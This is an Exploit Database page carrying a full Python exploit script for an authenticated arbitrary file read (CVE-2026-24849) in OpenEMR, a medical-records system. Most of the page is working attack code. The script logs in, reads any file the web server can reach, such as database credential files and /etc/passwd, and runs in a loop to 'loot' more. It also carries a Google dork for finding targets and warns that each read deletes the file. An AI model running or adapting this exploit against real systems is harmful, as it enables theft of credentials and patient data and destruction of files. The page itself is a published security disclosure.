This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING OpenEMR 7.0.2 - Arbitrary File Read EDB-ID: 52610 CVE: 2026-24849 EDB Verified: Author: DOANY1 Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-06-08 Vulnerable App: # Exploit Title: OpenEMR 7.0.2 - Arbitrary File Read # Google Dork: intitle:"OpenEMR" inurl:"interface/login/login.php" # Date: 2026-06-06 # Exploit Author: doany1 # Vendor Homepage: https://www.open-emr.org/ # Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/7.0.2/openemr-7.0.2.tar.gz/download # Version: OpenEMR < 7.0.4 (tested on 7.0.2) # Tested on: Ubuntu 22.04 / PHP 8.1 / Apache 2.4 (OpenEMR 7.0.2) # CVE : CVE-2026-24849 # CWE : CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) # # Description: # The Fax/SMS module's EtherFaxActions::disposeDoc() method # (interface/modules/custom_modules/oe-module-faxsms) reads a caller-supplied # `file_path` request parameter and passes it straight to readfile() with no # path validation. The method never calls authenticate(), so the only thing # required to reach it is a valid OpenEMR session. # # Privilege required: # ANY authenticated user -- this is NOT an admin-only bug. A low-privilege # account (receptionist, clinician, etc.) can read any file the web-server # user can reach: sites/default/sqlconf.php (DB credentials), /etc/passwd, # application source, and so on. The admin/pass values in the examples below # are only convenient demo credentials, not a requirement of the bug. # # Prerequisites: # - Any valid OpenEMR login (no privileges required). # - The Fax/SMS module enabled with EtherFax selected as the fax provider # (the file read does NOT require a real EtherFax account). # # WARNING (destructive): # disposeDoc() calls unlink() on the target *after* reading it. Reading a file # that the web-server user is allowed to delete WILL remove it. Prefer # root-owned targets (e.g. /etc/passwd) whose parent directory the web user # cannot write, so the unlink() fails and the file survives. # # References: # https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc # https://nvd.nist.gov/vuln/detail/CVE-2026-24849 # # Usage: # Interactive (prompts for everything): # python3 exploit-CVE-2026-24849.py # Non-interactive: # python3 exploit-CVE-2026-24849.py -t http://10.10.10.10 -u admin -P pass \ # -f /var/www/html/openemr/sites/default/sqlconf.php import argparse import getpass import re import sys try: import requests from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) except ImportError: sys.exit("[-] This exploit needs the 'requests' module: pip3 install requests") UA = "Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0" FAXSMS = "/interface/modules/custom_modules/oe-module-faxsms/index.php" # Method name varies across affected minor versions (disposeDoc <-> disposeDocument). ACTIONS = ["disposeDoc", "disposeDocument"] # An unauthenticated request is answered with a JS redirect to this path. # (Use a narrow marker: every OpenEMR page embeds generic timeout JS.) FAIL_MARKER = "login_screen.php?error=1" def ask(prompt, default=None, secret=False): label = "%s [%s]: " % (prompt, default) if default else "%s: " % prompt value = getpass.getpass(label) if secret else input(label).strip() return value or default def login(sess, base, site, user, password): """Establish an OpenEMR session in `sess`. Validity is confirmed later by an actual file read, so this just performs the GET (CSRF prime) + POST.""" # 1) prime a session cookie and grab the CSRF token if the form exposes one r = sess.get(base + "/interface/login/login.php", params={"site": site}, timeout=20, verify=False) m = re.search(r"csrf_token_form.*?value=([\"'])(.*?)\1", r.text, re.S) data = { "new_login_session_management": "1", "authProvider": "Default", "authUser": user, "clearPass": password, "languageChoice": "1", } if m: # OpenEMR doesn't enforce it on this POST, but send it when present data["csrf_token_form"] = m.group(2) # 2) authenticate sess.post(base + "/interface/main/main_screen.php", params={"auth": "login", "site": site}, data=data, timeout=20, verify=False) def read_file(sess, base, site, remote_path): """Return (content, status). status in {ok, session, missing}.""" for action in ACTIONS: r = sess.get(base + FAXSMS, params={"site": site, "type": "fax", "_ACTION_COMMAND": action, "file_path": remote_path, "action": "download"}, timeout=20, verify=False) body = r.text if FAIL_MARKER in body: return None, "session" if "Problem with download" in body: return None, "missing" # method ran, file absent/unreadable if body.strip() == "": continue # likely wrong method name -> try next return body, "ok" return None, "missing" def main(): ap = argparse.ArgumentParser( description="OpenEMR < 7.0.4 authenticated arbitrary file read (CVE-2026-24849)") ap.add_argument("-t", "--target", help="Base URL, e.g. http://10.10.10.10") ap.add_argument("-u", "--user", help="OpenEMR username (default: admin)") ap.add_argument("-P", "--password", help="OpenEMR password") ap.add_argument("-s", "--site", help="OpenEMR site (default: default)") ap.add_argument("-f", "--file", help="Absolute path of the remote file to read") ap.add_argument("-o", "--output", help="Save looted file here instead of printing") args = ap.parse_args() print("[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)\n") target = args.target or ask("Target base URL (e.g. http://10.10.10.10)") if not target: sys.exit("[-] Target is required.") target = target.rstrip("/") if not target.startswith("http"): target = "http://" + target user = args.user or ask("Username", default="admin") password = args.password if args.password is not None else ask("Password", secret=True) site = args.site or ask("Site", default="default") sess = requests.Session() sess.headers.update({"User-Agent": UA}) try: print("[*] Authenticating to %s as '%s' ..." % (target, user)) login(sess, target, site, user, password) # Confirm auth + that the vulnerable module is reachable by reading a # safe, root-owned probe file (its unlink() fails, so it is not deleted). _, status = read_file(sess, target, site, "/etc/hostname") except requests.RequestException as e: sys.exit("[-] Connection error: %s" % e) if status == "session": sys.exit("[-] Login failed - check credentials / site.") if status == "missing": print("[!] Logged in, but the file-read returned nothing.") print(" Confirm the Fax/SMS module is enabled with EtherFax as the provider.\n") else: print("[+] Authenticated; CVE-2026-24849 file-read confirmed.\n") def loot(path): try: data, status = read_file(sess, target, site, path) except requests.RequestException as e: print("[-] Connection error: %s" % e) return "error" if status == "session": print("[-] Session rejected (auth/ACL problem).") elif status == "missing": print("[-] '%s' not found/readable, or Fax/SMS+EtherFax is not enabled." % path) else: if args.output: with open(args.output, "w") as fh: fh.write(data) print("[+] %d bytes of '%s' written to %s" % (len(data), path, args.output)) else: print("[+] ---------- %s ----------" % path) sys.stdout.write(data if data.endswith("\n") else data + "\n") print("[+] --------------------------") return status # single-shot mode if args.file: status = loot(args.file) sys.exit(0 if status == "ok" else 2) # interactive mode: read files until the operator quits print("[*] Interactive read - enter absolute file paths (blank or 'q' to quit).") print(" Reminder: disposeDoc() unlink()s the target after reading - prefer root-owned files.\n") while True: path = ask("file_path(Which file would you like to see e.g /etc/passwd)") if not path or path.lower() in ("q", "quit", "exit"): break loot(path) print() if __name__ == "__main__": main() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.